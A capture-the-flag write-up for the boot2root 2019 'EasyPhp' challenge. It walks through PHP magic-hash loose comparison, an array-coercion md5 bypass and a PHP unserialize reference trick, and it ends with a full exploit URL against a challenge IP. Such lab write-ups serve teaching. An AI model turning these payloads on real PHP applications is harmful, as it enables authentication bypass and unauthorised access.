boot2root 2019

EasyPhp

This challenge was split into 3 parts - one had to give inputs to fulfill all 3 parts before getting the full flag.

<?php 
include "flag.php"; 
highlight_file(__FILE__); 
error_reporting(0); 
$str1 = $_GET['1']; 

if(isset($_GET['1'])){ 
    if($str1 == md5($str1)){ 
        echo $flag1; 
    } 
    else{ 
        die(); 
    } 
} 
else{ 
    die();    
} 

$str2 = $_GET['2']; 
$str3 = $_GET['3']; 

if(isset($_GET['2']) && isset($_GET['3'])){ 
    if($str2 !== $str3){ 
        if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){ 
            echo $flag2; 
        } 
        else{ 
            die(); 
        } 
    } 
    else{ 
        die(); 
    } 
} 
else{ 
    die();    
} 
?> 
<?php 

class Secrets { 
    var $temp; 
    var $flag; 
} 
    
if (isset($_GET['4'])) { 
    $str4 = $_GET['4']; 

    if(get_magic_quotes_gpc()){ 
        $str4=stripslashes($str4); 
    } 
    
    $res = unserialize($str4); 
    
    if ($res) { 
    $res->flag=$flag3; 
        if ($res->flag === $res->temp) 
            echo $res->flag; 
        else 
            die(); 
    } 
    else die(); 
} 

?>

The first part:

if(isset($_GET['1'])){ 
    if($str1 == md5($str1)){ 
        echo $flag1; 
    } 
...

requires one to pass input where input == md5(input). Note the use of loose comparison ==. A list of values that satisfy this condition can be found here. The issue here is how PHP compares strings loosely - "0e12345" == "0e45678" returns true.

The second part:

if(isset($_GET['2']) && isset($_GET['3'])){ 
    if($str2 !== $str3){ 
        if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){ 
            echo $flag2; 
...

I got stumped on this one for a while until I ran across this. If you pass arrays as inputs to these parts, it gets coerced to Array, resulting in md5($salt . "Array") == md5($salt . "Array") which satisfies this part.

The third part:

class Secrets { 
    var $temp; 
    var $flag; 
} 
    
if (isset($_GET['4'])) { 
    $str4 = $_GET['4']; 

    if(get_magic_quotes_gpc()){ 
        $str4=stripslashes($str4); 
    } 
    
    $res = unserialize($str4); 
    
    if ($res) { 
    $res->flag=$flag3; 
        if ($res->flag === $res->temp) 
            echo $res->flag; 
        else 
            die(); 
    } 
    else die(); 
} 

Since strict comparison === is used here, theres nothing to be abused there.

The first thing that came to mind before I sat down and read the docs properly was to make use of getters to return $flag when $temp was requested. Of course, after trying it, I realised that serialize(...) does not serialize methods.

After seeing this, I wondered - what if I just made $temp refer to $flag? The following code generates a serialized string where $temp refers to $flag.

<?php

class Secrets {
  var $temp;
  var $flag;
}

$test = new Secrets;
$test->temp = &$test->flag;
$ser = serialize($test);

echo $ser;

?>

It turns out that actually works - the URL http://3.16.68.122/Easy-php/?1=0e215962017&2[]=a&3[]=b&4=O:7:%22Secrets%22:2:{s:4:%22temp%22;N;s:4:%22flag%22;R:2;} returns the flag!